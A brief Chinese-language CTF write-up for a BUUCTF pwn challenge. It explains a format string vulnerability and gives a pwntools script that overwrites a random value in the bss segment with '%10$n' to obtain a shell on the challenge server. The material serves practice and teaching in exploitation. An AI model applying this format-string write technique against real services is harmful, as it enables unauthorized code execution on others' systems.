国际惯例
无脑 IDA
测试下偏移量
思路
因为只有格式化字符串漏洞所以,考虑使用%n修改bss段随机数的值,从而getshll。
WP
#encoding=utf-8
from pwn import *
addr=0x804c044
r=remote("node4.buuoj.cn",28344)
payload=p32(addr)+"%10$n"
r.sendline(payload)
#p32写入的字符数是4
r.sendline("4")
r.interactive()
总结
payload=p32(addr)+"%10$n"
p32(addr)为bss段随机数的地址,我们可以经过GDB调试,发现偏移量为10。所以通过格式化字符串漏洞更改随机数的值,因为p32()写的是4位,所以随机数为4。